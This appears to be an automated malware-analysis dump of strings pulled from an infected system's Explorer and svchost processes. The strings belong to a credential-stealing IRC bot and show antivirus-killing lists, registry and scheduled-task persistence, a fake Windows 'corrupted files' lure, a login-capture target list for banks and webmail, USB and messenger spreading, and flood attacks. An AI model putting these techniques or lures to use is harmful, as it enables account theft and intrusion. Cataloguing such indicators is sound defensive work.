Defender\MSASCui.exe</pre><pre>MpSvc.dll</pre><pre>msseces.exe</pre><pre>MsMpEng.exe</pre><pre>MSASCui.exe</pre><pre>MpAsDesc.dll</pre><pre>MsMpLics.dll</pre><pre>avgui.exe</pre><pre>avgidsagent.exe</pre><pre>avgwdsvc.exe</pre><pre>avgdiagex.exe</pre><pre>avgmfapx.exe</pre><pre>avgupd.exe</pre><pre>avgcfgex.exe</pre><pre>avgnt.exe</pre><pre>avguard.exe</pre><pre>avshadow.exe</pre><pre>avcenter.exe</pre><pre>update.dll</pre><pre>updaterc.dll</pre><pre>usrreq.exe</pre><pre>ccsvchst.exe</pre><pre>symerr.exe</pre><pre>NIS.exe</pre><pre>NAV.exe</pre><pre>navw32.exe</pre><pre>avastui.exe</pre><pre>AvastEmUpdate.exe</pre><pre>ashUpd.exe</pre><pre>WRSA.exe</pre><pre>zatray.exe</pre><pre>ForceField.exe</pre><pre>updating.dll</pre><pre>fshoster32.exe</pre><pre>fsaua.dll</pre><pre>PSUNMain.exe</pre><pre>PSUAService.exe</pre><pre>PSANHost.exe</pre><pre>PSUNScan.dll</pre><pre>epavjobs.exe</pre><pre>AVENGINE.exe</pre><pre>Upgrader.exe</pre><pre>adaware.exe</pre><pre>BullGuard.exe.manifest</pre><pre>BullGuardUpdate.exe</pre><pre>BullGuard.exe</pre><pre>BullGuardScanner.exe</pre><pre>BullGuardBhvScanner.exe</pre><pre>BullGuardUpdate2.exe</pre><pre>BgScan.exe</pre><pre>BgScanEngine.dll</pre><pre>.manifest</pre><pre>updater.exe</pre><pre>Backup\RSD\RSSetup\updater.exe</pre><pre>RsTray.exe</pre><pre>RavMonD.exe</pre><pre>RsMgrSvc.exe</pre><pre>rsmain.exe</pre><pre>RsScan.dll</pre><pre>RsTray.dll</pre><pre>mbamgui.exe</pre><pre>mbam.exe</pre><pre>pctsGui.exe</pre><pre>pctsAuxs.exe</pre><pre>pctsSvc.exe</pre><pre>Update.exe</pre><pre>UpdateHlpr.dll</pre><pre>Definitions\vcore.dll</pre><pre>sbamui.exe</pre><pre>SBAMTray.exe</pre><pre>updater_client_mod.dll</pre><pre>FProtTray.exe</pre><pre>FPWin.exe</pre><pre>scf.dat</pre><pre>ALUpdate.exe</pre><pre>update_tmp.exe</pre><pre>arcaclean.exe</pre><pre>BavUpdater.exe</pre><pre>rcfp.exe</pre><pre>CLPSLA.exe</pre><pre>op_mon.exe</pre><pre>niu.exe</pre><pre>K7TSUpdT.exe</pre><pre>sguardxup.exe</pre><pre>ccupdate.exe</pre><pre>caupdate.dll</pre><pre>a2guard.exe</pre><pre>a2start.exe</pre><pre>a2service.exe</pre><pre>AVKTray.exe</pre><pre>GDSC.exe</pre><pre>AVK.exe</pre><pre>GDFirewallTray.exe</pre><pre>Bka.exe</pre><pre>BLuPro.exe</pre><pre>BkavSystemServer.exe</pre><pre>BkavService.exe</pre><pre>LiveUpdate.dll</pre><pre>LiveConnect.dll</pre><pre>BaseFile\Bkav\LiveUpdate.dll</pre><pre>V3Lite.exe</pre><pre>ASDSvc.exe</pre><pre>autoup.exe</pre><pre>downloader.exe</pre><pre>%s.config</pre><pre>updatesrv.exe</pre><pre>updatemgr.dll</pre><pre>egui.exe</pre><pre>ekrn.exe</pre><pre>x86\ekrn.exe</pre><pre>uWinMgr.exe</pre><pre>coreServiceShell.exe</pre><pre>uiSeAgnt.exe</pre><pre>uiWatchDog.exe</pre><pre>plugins\plugUpdater.dll</pre><pre>UiFrmwrk\uiUpdateTray.exe</pre><pre>coreFrameworkHost.exe</pre><pre>mcagent.exe</pre><pre>McSvHost.exe</pre><pre>McUICnt.exe</pre><pre>McPvTray.exe</pre><pre>mcui_exe</pre><pre>mcpltui_exe</pre><pre>mcshell.exe</pre><pre>mcupdmgr.exe</pre><pre>mcupdate.exe</pre><pre>mcshield.exe</pre><pre>mcupdui.dll</pre><pre>McAPExe.exe</pre><pre>.config</pre><pre>Image File Execution Options\%s</pre><pre>SYSTEM\CurrentControlSet\services\%s</pre><pre>%c:\ntusbdriver.sys</pre><pre>%c:\*p.exe</pre><pre>%c:\%s</pre><pre>p.exe</pre><pre>%WinDir%\explorer.exe</pre><pre>/C start /d. %s&"%s"</pre><pre>%COMSPEC%</pre><pre>%WinDir%\system32\shell32.dll</pre><pre>%c:\%s.lnk</pre><pre>VisthAux.exe</pre><pre>explorer.exe</pre><pre>t.minecraft</pre><pre>Works! PID: %d, Name: %s</pre><pre>cmdvirth</pre><pre>%s%s\X</pre><pre>tcp://</pre><pre>svchost.exe</pre><pre>csrss.exe</pre><pre>lsass.exe</pre><pre>smss.exe</pre><pre>wscript.exe</pre><pre>cscript.exe</pre><pre>vbc.exe</pre><pre>rundll32.exe</pre><pre>regsvr32.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>winlogon.exe</pre><pre>services.exe</pre><pre>%s\x.lnk</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>desktop.ini</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows</pre><pre>wintrust.dll</pre><pre>chrome.dll</pre><pre>Applications\iexplore.exe\shell\open\command</pre><pre>%s_xx</pre><pre>x.zip</pre><pre>Navw32.exe</pre><pre>SysInspector.exe</pre><pre>avscan.exe</pre><pre>mfefire.exe</pre><pre>wuauclt.exe</pre><pre>WerFault.exe</pre><pre>lFileZilla\sitemanager.xml</pre><pre>port</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>%s\3\%s</pre><pre>%s\4\%s</pre><pre>spoolsv.exe</pre><pre>steam.exe</pre><pre>skype.exe</pre><pre>origin.exe</pre><pre>dwm.exe</pre><pre>tapi3.dll</pre><pre>/C copy "%s" "%s"</pre><pre>SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</pre><pre>Windows Update Service</pre><pre>"%s" /%s</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>/CREATE /SC ONLOGON /TN "Windows Update Check - 0xX" /TR "%s" /RL HIGHEST</pre><pre>schtasks.exe</pre><pre>/DELETE /TN "Windows Update Check - 0xX" /F</pre><pre>\Windows\Explorer.exe</pre><pre>Low_X</pre><pre>%s.manifest</pre><pre>PendingFileRenameOperations</pre><pre>%s\X</pre><pre>Windows\CurrentVersion\Run</pre><pre>CurrentVersion\Windows</pre><pre>Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>Windows has encountered a corrupted folder on your hard drive</pre><pre>Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of data, please allow Windows to restore these files.</pre><pre>Corrupted folder: %s</pre><pre>Corrupted file count: %d</pre><pre><a href=".ms">%s</a></pre><pre>/c start "" "%s" /%s "%s"</pre><pre>shell32,ShellExec_RunDLL "%s" /%s "%s"</pre><pre>You denied the proper privileges to the Windows file restoration utility. Please select YES on the following UAC prompt to allow Windows to restore the corrupted files.</pre><pre>Windows 3.1 Update Service</pre><pre>%s:Zone.Identifier</pre><pre>%s\X.pif</pre><pre>KERNEL32.DLL</pre><pre>KERNELBASE.DLL</pre><pre>kernelbase.dll</pre><pre>5.42.37.0</pre><pre>Passage</pre><pre>Passage.exe</pre><b>Explorer.EXE_888_rwx_02070000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>%WinDir%\Explorer.EXE</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\WINDOWS\explorer.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_936_rwx_00E90000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: 